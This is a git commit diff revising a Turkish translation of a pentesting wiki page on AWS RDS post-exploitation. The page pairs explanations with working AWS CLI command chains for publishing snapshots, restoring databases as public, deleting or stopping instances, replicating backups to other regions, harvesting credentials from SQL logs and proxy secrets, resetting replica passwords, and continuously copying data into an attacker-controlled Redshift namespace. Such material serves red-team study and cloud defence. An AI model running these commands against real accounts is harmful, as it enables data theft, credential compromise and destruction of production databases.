Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

This commit is contained in:
Translator
2025-11-26 17:25:34 +00:00
parent 73b37da688
commit eb500cfc94
18 changed files with 1247 additions and 429 deletions
@@ -4,7 +4,7 @@
## RDS
Daha fazla bilgi için bakınız:
Daha fazla bilgi için bakın:
{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Daha fazla bilgi için bakınız:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Eğer saldırgan yeterli izinlere sahipse, DB'nin snapshot'unu oluşturarak ve snapshot'tan **genel erişime açık bir DB** oluşturarak DB'yi genel erişime açık hale getirebilir.
Eğer saldırganın yeterli izinleri varsa, DB'nin bir snapshot'unu oluşturarak ve bu snapshot'tan halka açık bir DB oluşturarak bir **DB'yi herkese açık hale getirebilir.**
```bash
aws rds describe-db-instances # Get DB identifier
@@ -39,21 +39,50 @@ aws rds modify-db-instance \
# Connect to the new DB after a few mins
```
### `rds:StopDBCluster` & `rds:StopDBInstance`
Bir saldırganın rds:StopDBCluster veya rds:StopDBInstance izinlerine sahip olması, bir RDS örneğinin veya tüm bir kümenin derhal durdurulmasını zorlayabilir; bu da veritabanının kullanılamaz hale gelmesine, bağlantıların kopmasına ve veritabanına bağımlı süreçlerin kesintiye uğramasına neden olur.
rds:StopDBCluster veya rds:StopDBInstance izinlerine sahip bir saldırgan, bir RDS instance'ını veya tüm bir cluster'ı anında durdurmaya zorlayabilir; bu da veritabanının kullanılamaz hale gelmesine, bağlantıların kopmasına ve veritabanına bağlı süreçlerin kesintiye uğramasına neden olur.
Tek bir DB örneğini durdurmak için (örnek):
Tek bir DB instance'ını durdurmak için (örnek):
```bash
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
```
Tüm bir DB cluster'ı durdurmak için (örnek):
Tüm DB kümesini durdurmak için (örnek):
```bash
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
```
### `rds:Modify*`
rds:Modify* izinleri verilen bir saldırgan, instance veya clustera doğrudan dokunmadan kritik yapılandırmaları ve yardımcı kaynakları (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, vb.) değiştirebilir. Bağlantı/zaman aşımı parametrelerini ayarlamak, bir proxy endpointi değiştirmek, hangi sertifikaların güvenilir olduğunu değiştirmek, mantıksal kapasiteyi değiştirmek veya bir subnet groupu yeniden yapılandırmak gibi değişiklikler güvenliği zayıflatabilir (yeni erişim yolları açar), yönlendirmeyi ve load-balancingi bozabilir, replika/yedekleme politikalarını geçersiz kılabilir ve genel olarak erişilebilirlik veya kurtarılabilirliği düşürebilir. Bu değişiklikler ayrıca dolaylı veri sızdırılmasını kolaylaştırabilir veya bir olay sonrası veritabanının düzenli bir şekilde kurtarılmasını zorlaştırabilir.
Bir RDS subnet group'a atanmış subnets'i taşıyın veya değiştirin:
```bash
aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>
```
Bir cluster parameter group'taki düşük seviyeli engine parametrelerini değiştirin:
```bash
aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
```
### `rds:Restore*`
rds:Restore* izinlerine sahip bir saldırgan, snapshots, automated backups, point-in-time recovery (PITR) veya S3'te saklanan dosyalardan tüm veritabanlarını geri yükleyerek seçilen noktadaki verilerle doldurulmuş yeni instances veya clusters oluşturabilir. Bu işlemler orijinal kaynakların üzerine yazmaz — tarihsel verileri içeren yeni nesneler oluştururlar — bu sayede saldırgan veritabanının tam, çalışır kopyalarını (geçmiş zaman noktalarından veya harici S3 dosyalarından) elde edip bunları exfiltrate etme, tarihsel kayıtları manipüle etme veya önceki durumları yeniden kurma amacıyla kullanabilir.
Restore a DB instance to a specific point in time:
```bash
aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az
```
### `rds:Delete*`
rds:Delete* yetkisi verilen bir saldırgan RDS kaynaklarını silebilir DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups and related artifacts bu da anında hizmet kesintisine, veri kaybına, kurtarma noktalarının yok edilmesine ve adli kanıt kaybına yol açar.
rds:Delete* yetkisi verilen bir saldırgan RDS kaynaklarını kaldırabilir; DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups ve related artifacts silebilir; bu durum anında hizmet kesintisine, veri kaybına, kurtarma noktalarının yok olmasına ve adli kanıtların kaybına yol açar.
```bash
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
@@ -76,9 +105,9 @@ aws rds delete-db-cluster \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
Bu izinlere sahip bir saldırgan **bir DB'nin snapshot'unu oluşturabilir** ve bunu **herkese** **açık** hale getirebilir. Sonrasında, bu snapshot'tan kendi hesabında bir DB oluşturabilir.
Bu izinlere sahip bir saldırgan **bir DB'nin snapshot'ını oluşturabilir** ve bunu **herkese** **açık** hale getirebilir. Ardından kendi hesabında bu snapshot'tan bir DB oluşturabilir.
Eğer saldırgan **`rds:CreateDBSnapshot`'a sahip değilse**, yine de oluşturulmuş **diğer** snapshot'ları **herkese açık** yapabilir.
Eğer saldırgan **`rds:CreateDBSnapshot` iznine sahip değilse**, yine de **diğer** oluşturulmuş snapshot'ları **herkese açık** yapabilir.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -89,37 +118,37 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
`rds:DownloadDBLogFilePortion` iznine sahip bir saldırgan **RDS instance'ının log dosyalarının bölümlerini indirebilir**. Hassas veriler veya erişim kimlik bilgileri kazara loglanmışsa, saldırgan bu bilgileri ayrıcalıklarını yükseltmek veya yetkisiz işlemler gerçekleştirmek için kullanabilir.
`rds:DownloadDBLogFilePortion` iznine sahip bir saldırgan, **bir RDS instance'ının log dosyalarının belirli bölümlerini indirebilir**. Eğer hassas veriler veya erişim kimlik bilgileri kazara loglanırsa, saldırgan bu bilgileri ayrıcalıklarını yükseltmek veya yetkisiz işlemler gerçekleştirmek için kullanabilir.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Potential Impact**: Hassas bilgilere erişim veya leaked credentials kullanılarak yetkisiz işlemler.
**Potansiyel Etki**: Hassas bilgilere erişim veya leaked credentials kullanılarak yetkisiz işlemler.
### `rds:DeleteDBInstance`
Bu izinlere sahip bir saldırgan **mevcut RDS instance'larına DoS** uygulayabilir.
Bu izinlere sahip bir saldırgan **DoS existing RDS instances** gerçekleştirebilir.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**Olası etki**: Mevcut RDS örneklerinin silinmesi ve potansiyel veri kaybı.
**Olası etki**: Mevcut RDS örneklerinin silinmesi ve olası veri kaybı.
### `rds:StartExportTask`
> [!NOTE]
> Yapılacak: Test
> TODO: Test
Bu izne sahip bir saldırgan **bir RDS instance snapshot'ını bir S3 bucket'a dışa aktarabilir**. Eğer saldırgan hedef S3 bucket üzerinde kontrolü varsa, dışa aktarılan snapshot içindeki hassas verilere erişebilir.
Bu izne sahip bir saldırgan **RDS örneğinin snapshot'ını bir S3 bucket'a dışa aktarabilir**. Eğer saldırgan hedef S3 bucket üzerinde kontrol sahibi ise, dışa aktarılan snapshot içindeki hassas verilere erişebilir.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Potential impact**: Dışa aktarılmış snapshot içindeki hassas verilere erişim.
**Potansiyel etki**: Dışa aktarılan snapshot içindeki hassas verilere erişim.
### Gizli Geri Yükleme için Bölge-Ötesi Otomatik Yedeklerin Çoğaltılması (`rds:StartDBInstanceAutomatedBackupsReplication`)
### Gizli Geri Yükleme için Bölge-Arası Otomatik Yedeklerin Replikasyonu (`rds:StartDBInstanceAutomatedBackupsReplication`)
Bölge-ötesi otomatik yedeklerin çoğaltılmasını kötüye kullanarak bir RDS instance'ının otomatik yedeklerini sessizce başka bir AWS Region'a kopyalayın ve orada geri yükleyin. Saldırgan, geri yüklenen DB'yi kamuya açık hale getirebilir ve ana parolayı sıfırlayarak savunucuların izlemediği bir Region'da out-of-band olarak verilere erişebilir.
Bölge-arası otomatik yedeklerin replikasyonunu kötüye kullanarak bir RDS instance'ının otomatik yedeklerini başka bir AWS Region'a sessizce çoğaltabilir ve orada geri yükleyebilirsiniz. Saldırgan daha sonra geri yüklenen DB'yi genel erişime açıp master parolayı sıfırlayarak, savunma ekiplerinin izlemediği bir Region'da veriye out-of-band erişim sağlayabilir.
Permissions needed (minimum):
Gerekli izinler (asgari):
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
@@ -127,7 +156,7 @@ Permissions needed (minimum):
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
Impact: Kalıcılık ve üretim verilerinin bir kopyasını başka bir Region'a geri yükleyip saldırgan kontrollü kimlik bilgileriyle kamuya açarak veri sızdırma.
Etkisi: Üretim verisinin bir kopyasını başka bir Region'a geri yükleyip, saldırgan kontrollü kimlik bilgileriyle bunu genel erişime açarak persistence ve data exfiltration gerçekleştirilmesi.
<details>
<summary>Uçtan uca CLI (yer tutucuları değiştirin)</summary>
@@ -199,26 +228,26 @@ aws rds stop-db-instance-automated-backups-replication \
</details>
### DB parameter grupları aracılığıyla tam SQL kaydını etkinleştirin ve RDS log API'leri üzerinden veri sızdırın
### DB parameter groups aracılığıyla tam SQL logging'i etkinleştir ve RDS log API'leri ile exfiltrate et
`rds:ModifyDBParameterGroup`'ı RDS log download API'leri ile kötüye kullanarak uygulamalar tarafından yürütülen tüm SQL ifadelerini yakalayın (DB engine kimlik bilgileri gerekmez). Engine SQL logging'i etkinleştirin ve dosya loglarını `rds:DescribeDBLogFiles` ve `rds:DownloadDBLogFilePortion` ile çekin (veya REST `downloadCompleteLogFile`). secrets/PII/JWTs içerebilecek sorguları toplamak için kullanışlıdır.
`rds:ModifyDBParameterGroup`'ı RDS log download API'leri ile kötüye kullanarak uygulamalar tarafından çalıştırılan tüm SQL ifadelerini yakala (DB engine kimlik bilgileri gerekmez). Engine SQL logging'i etkinleştir ve dosya loglarını `rds:DescribeDBLogFiles` ve `rds:DownloadDBLogFilePortion` (veya REST `downloadCompleteLogFile`) ile çek. Sırlar/PII/JWTs içerebilecek sorguları toplamak için kullanışlıdır.
Gerekli izinler (asgari):
Gerekli izinler (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (yalnızca örnek default bir parameter group kullanıyorsa custom bir parameter group eklemek için)
- `rds:RebootDBInstance` (yeniden başlatma gerektiren parametreler için, ör. PostgreSQL)
- `rds:ModifyDBInstance` (sadece instance varsayılan parameter group kullanıyorsa custom parameter group eklemek için)
- `rds:RebootDBInstance` (yeniden başlatma gerektiren parametreler için, örn. PostgreSQL)
Steps
1) Recon hedefi ve mevcut parameter grubunu tespit edin
Adımlar
1) Hedefi ve mevcut parameter group'u keşfet
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) Özel bir DB parameter group'un iliştirilmiş olduğundan emin olun (varsayılan düzenlenemez)
- Eğer instance zaten özel bir DB parameter group kullanıyorsa, bir sonraki adımda adını yeniden kullanın.
- Aksi takdirde engine family ile eşleşen bir tane oluşturup iliştirin:
2) Özel bir DB parameter group'un iliştirilmiş olduğundan emin olun (varsayılanı düzenleyemezsiniz)
- Eğer instance zaten bir custom group kullanıyorsa, bir sonraki adımda ismini yeniden kullanın.
- Aksi halde engine family ile eşleşen bir tane oluşturup iliştirin:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
@@ -232,8 +261,8 @@ aws rds modify-db-instance \
--apply-immediately
# Wait until status becomes "available"
```
3) Ayrıntılı SQL logging'i etkinleştirin
- MySQL engines (anında / yeniden başlatma gerektirmez):
3) Ayrıntılı SQL logging'i etkinleştir
- MySQL motorları (anında / yeniden başlatma gerekmez):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -244,7 +273,7 @@ aws rds modify-db-parameter-group \
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
```
- PostgreSQL motorları (yeniden başlatma gerekli):
- PostgreSQL engine'leri (yeniden başlatma gerekli):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -256,11 +285,11 @@ aws rds modify-db-parameter-group \
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) İş yükünün çalışmasına izin ver (veya sorgular üret). İfadeler engine file loglarına yazılacaktır
4) İş yükünü çalıştırın (veya sorgular oluşturun). SQL ifadeleri engine file loglarına yazılacaktır
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
5) Logları keşfet ve indir (no DB creds required)
5) Logları keşfedin ve indirin (DB creds gerekmez)
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>
@@ -271,7 +300,7 @@ aws rds download-db-log-file-portion \
--starting-token 0 \
--output text > dump.log
```
6) Çevrimdışı olarak hassas verileri analiz et
6) Hassas verileri çevrimdışı analiz et
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
@@ -282,7 +311,7 @@ grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | s
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
```
Temizlik
- Parametreleri varsayılanlara geri döndürün ve gerekirse yeniden başlatın:
- Parametreleri varsayılanlara geri al ve gerekiyorsa yeniden başlat:
```bash
# MySQL
aws rds modify-db-parameter-group \
@@ -297,19 +326,19 @@ aws rds modify-db-parameter-group \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
Etkisi: Post-exploitation aşamasında, AWS API'leri aracılığıyla tüm uygulama SQL ifadelerinin yakalanmasıyla veri erişimi (DB kimlik bilgisi gerekmez), potansiyel olarak secrets, JWTs ve PII leaking.
Etkisi: Post-exploitation aşamasında, AWS API'leri aracılığıyla (DB kimlik bilgileri olmadan) tüm uygulama SQL ifadelerinin yakalanmasıyla veri erişimi; potansiyel olarak secrets, JWTs ve PII'nin leak'ine yol açabilir.
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
RDS read replicas'ı kötüye kullanarak primary instance kimlik bilgilerine dokunmadan out-of-band okuma erişimi elde edilebilir. Bir saldırgan production instance'dan bir read replica oluşturabilir, replikasının master password'ünü sıfırlayabilir (bu primary'i değiştirmez) ve isteğe bağlı olarak verileri exfiltrate etmek için replikayı halka açık hale getirebilir.
RDS read replicas'i suistimal ederek primary instance'ın kimlik bilgilerine dokunmadan out-of-band read access elde edilebilir. Bir saldırgan production instance'dan bir read replica oluşturabilir, replica'nın master password'ünü sıfırlayabilir (bu primary'i değiştirmez) ve isteğe bağlı olarak verileri exfiltrate etmek için replica'yı public olarak açabilir.
Permissions needed (minimum):
Gerekli izinler (minimum):
- `rds:DescribeDBInstances`
- `rds:CreateDBInstanceReadReplica`
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (eğer public olarak açılıyorsa)
Etkisi: Saldırgan tarafından kontrol edilen kimlik bilgileriyle replikaya erişim üzerinden production verilerine read-only erişim; primary dokunulmadığı ve replication devam ettiği için tespit edilme olasılığı daha düşüktür.
Etkisi: Saldırgan kontrollü kimlik bilgileriyle bir replica üzerinden production verilerine salt-okunur erişim; primary'a dokunulmadığı ve replication devam ettiği için tespit edilme olasılığı daha düşüktür.
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
@@ -340,13 +369,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
```
Example evidence (MySQL):
- Replika DB durumu: `available`, read replication: `replicating`
- Yeni parola ile başarılı bağlantı ve `@@read_only=1` ile salt okunur replika erişiminin doğrulanması.
Örnek kanıt (MySQL):
- Replika DB durumu: `available`, okuma replikasyonu: `replicating`
- Yeni parola ile başarılı bağlantı ve `@@read_only=1` değeri, salt okunur replika erişimini doğruladı.
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
RDS Blue/Green'i suistimal ederek üretim DB'yi sürekli çoğaltılan, salt okunur bir green ortama klonlayın. Ardından green master kimlik bilgilerini sıfırlayarak blue (prod) örneğine dokunmadan verilere erişin. Bu, snapshot paylaşımından daha gizlidir ve genellikle yalnızca kaynağa odaklanan izlemeyi atlatır.
RDS Blue/Green'i kötüye kullanarak üretim DB'yi sürekli replikasyonlu, salt okunur green ortamına klonlayın. Ardından green master kimlik bilgilerini sıfırlayarak blue (prod) instance'a dokunmadan verilere erişin. Bu, snapshot sharing'e göre daha gizlidir ve genellikle yalnızca kaynağa odaklanan izlemeyi atlatır.
```bash
# 1) Recon find eligible source (nonAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
@@ -393,22 +422,22 @@ aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
Etkisi: Yalnızca okunur; üretim örneğini değiştirmeden üretimin neredeyse gerçek zamanlı bir klonuna tam veri erişimi sağlar. Gizli veri çıkarımı ve çevrimdışı analiz için faydalıdır.
Etkisi: Salt-okuma ancak üretim örneğini değiştirmeden üretimin neredeyse gerçek zamanlı bir kopyasına tam veri erişimi. Gizli veri çıkarımı ve çevrimdışı analiz için faydalı.
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
### RDS Data API ile dış-kanal SQL — HTTP endpoint etkinleştirip master şifreyi sıfırlayarak
Aurora'yı hedef bir cluster üzerinde RDS Data API HTTP endpoint'ini etkinleştirmek, master parolayı kontrolünüzde olan bir değere sıfırlamak ve HTTPS üzerinden SQL çalıştırmak için kötüye kullanın (VPC ağ yolu gerekmez). Data API/EnableHttpEndpoint'i destekleyen Aurora motorlarında çalışır (ör. Aurora MySQL 8.0 provisioned; bazı Aurora PostgreSQL/MySQL sürümleri).
Aurora'yı kötüye kullanarak hedef kümede RDS Data API HTTP endpoint'ini etkinleştirin, master şifreyi kontrolünüzde olan bir değere sıfırlayın ve HTTPS üzerinden SQL çalıştırın (VPC ağ yolu gerekmez). Bu, Data API/EnableHttpEndpoint'ı destekleyen Aurora motorlarında çalışır (örn. Aurora MySQL 8.0 provisioned; bazı Aurora PostgreSQL/MySQL sürümleri).
İzinler (asgari):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Etkisi: Ağ segmentasyonunu atlatarak AWS API'leri üzerinden doğrudan VPC bağlantısı olmadan DB'den veri sızdırma.
Etkisi: Ağ segmentasyonunu atlayarak DB'ye doğrudan VPC bağlantısı olmadan AWS APIs üzerinden veri sızdırmak.
<details>
<summary>Uçtan uca CLI (Aurora MySQL example)</summary>
<summary>Uçtan uca CLI (Aurora MySQL örneği)</summary>
```bash
# 1) Identify target cluster ARN
REGION=us-east-1
@@ -460,24 +489,24 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
```
</details>
Notes:
- Eğer rds-data tarafından multi-statement SQL reddediliyorsa, ayrı execute-statement çağrıları yapın.
- modify-db-cluster --enable-http-endpoint etkili olmayan engine'ler için rds enable-http-endpoint --resource-arn kullanın.
- Engine/version'ın gerçekten Data API'yi desteklediğinden emin olun; aksi takdirde HttpEndpointEnabled False olarak kalacaktır.
Notlar:
- Eğer rds-data çoklu ifadeli SQL'i reddediyorsa, ayrı execute-statement çağrıları yapın.
- modify-db-cluster --enable-http-endpoint'in etkili olmadığı motorlar için, rds enable-http-endpoint --resource-arn kullanın.
- Motorun/sürümün gerçekten Data API'yi desteklediğinden emin olun; aksi halde HttpEndpointEnabled False olarak kalır.
### RDS Proxy auth secret'leri aracılığıyla DB kimlik bilgilerini elde etme (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
### RDS Proxy kimlik doğrulama secret'ları aracılığıyla DB kimlik bilgilerini toplama (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
RDS Proxy yapılandırmasını kötüye kullanarak backend kimlik doğrulaması için kullanılan Secrets Manager secret'ını keşfedin, ardından veritabanı kimlik bilgilerini elde etmek için secret'ı okuyun. Birçok ortam geniş `secretsmanager:GetSecretValue` izinleri verir; bu da DB kimlik bilgilerine düşük sürtünmeli bir pivot sağlar. Secret bir CMK kullanıyorsa, yanlış kapsamlı KMS izinleri ayrıca `kms:Decrypt` yetkisi verebilir.
RDS Proxy yapılandırmasını kötüye kullanarak backend kimlik doğrulaması için kullanılan Secrets Manager secret'ını keşfedin, ardından veritabanı kimlik bilgilerini elde etmek için secret'ı okuyun. Birçok ortam geniş `secretsmanager:GetSecretValue` izinleri verir; bu da DB kimlik bilgilerine düşük sürtünmeli bir pivot sağlar. Eğer secret bir CMK kullanıyorsa, hatalı tanımlanmış KMS izinleri `kms:Decrypt`'e de izin verebilir.
Permissions needed (minimum):
Gerekli izinler (asgari):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` referans verilen SecretArn üzerinde
- Secret bir CMK kullandığında isteğe bağlı: o anahtar üzerinde `kms:Decrypt`
- Referans verilen SecretArn üzerinde `secretsmanager:GetSecretValue`
- Secret bir CMK kullanıyorsa isteğe bağlı: o anahtar üzerinde `kms:Decrypt`
Impact: Proxy üzerinde yapılandırılmış DB kullanıcı adı/parolasının derhal ifşa olması; doğrudan DB erişimi veya daha fazla lateral hareket sağlar.
Etkisi: Proxy üzerinde yapılandırılmış DB kullanıcı adı/parolasının anında ifşası; doğrudan DB erişimi veya further lateral movement sağlar.
Steps
Adımlar
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
@@ -516,15 +545,15 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
```
### Aurora zeroETL ile Amazon Redshift'e gizli sürekli veri sızdırma (rds:CreateIntegration)
### Gizli ve sürekli exfiltration: Aurora zeroETL aracılığıyla Amazon Redshift'e (rds:CreateIntegration)
Aurora PostgreSQL zeroETL entegrasyonunu kötüye kullanarak üretim verilerini kontrolünüzdeki bir Redshift Serverless namespace'ine sürekli olarak çoğaltın. Belirli bir Aurora cluster ARN için CreateInboundIntegration/AuthorizeInboundIntegration yetkisini veren gevşek bir Redshift kaynak politikasıyla bir saldırgan, DB creds, snapshots veya network exposure olmadan neredeyse gerçek zamanlı bir veri kopyası oluşturabilir.
Aurora PostgreSQL zeroETL entegrasyonunu kötüye kullanarak üretim verilerini kontrolünüz altındaki bir Redshift Serverless namespace'ine sürekli olarak çoğaltın. Belirli bir Aurora cluster ARN'si için CreateInboundIntegration/AuthorizeInboundIntegration yetkisi veren esnek bir Redshift kaynak politikası ile bir saldırgan, DB kimlik bilgileri, snapshot'lar veya ağ maruziyeti olmadan neredeyse gerçek zamanlı bir veri kopyası oluşturabilir.
Gerekli izinler (minimum):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (sorgulama için)
- `rds-data:ExecuteStatement` (opsiyonel; gerekiyorsa veri eklemek için)
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
Test edildi: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
@@ -576,7 +605,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
</details>
<details>
<summary>3) Aurora PostgreSQL kümesi oluşturun (Data API ve logical replication'i etkinleştirin)</summary>
<summary>3) Aurora PostgreSQL kümesi oluştur (Data API ve logical replication etkinleştir)</summary>
```bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -619,7 +648,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
</details>
<details>
<summary>5) Redshift'te çoğaltılmış verileri maddeselleştirme ve sorgulama</summary>
<summary>5) Redshift'te çoğaltılmış verileri kalıcı hale getirip sorgulayın</summary>
```bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -633,10 +662,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
</details>
Testte gözlemlenen kanıtlar:
- redshift describe-inbound-integrations: Integration arn:...377a462b-... için Status ACTIVE
- SVV_INTEGRATION, DB oluşturulmasından önce integration_id 377a462b-c42c-4f08-937b-77fe75d98211 ve state PendingDbConnectState gösterdi.
- CREATE DATABASE FROM INTEGRATION'dan sonra, tablolar listelendiğinde schema ztl ve table customers görüldü; ztl.customers'den yapılan sorgu 2 satır döndürdü (Alice, Bob).
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
Etkisi: Saldırgan (attacker) tarafından kontrol edilen Redshift Serverless'e seçilen Aurora PostgreSQL tablolarının sürekli, neredeyse gerçek zamanlı exfiltration'ı; veritabanı kimlik bilgileri, yedekler veya kaynak cluster'a ağ erişimi kullanılmadan.
Etkisi: Saldırgan tarafından kontrol edilen Redshift Serverless'e seçilen Aurora PostgreSQL tablolarının veritabanı kimlik bilgileri, yedekler veya kaynak kümesine ağ erişimi kullanılmaksızın sürekli, neredeyse gerçek zamanlı exfiltration'ı.
{{#include ../../../../banners/hacktricks-training.md}}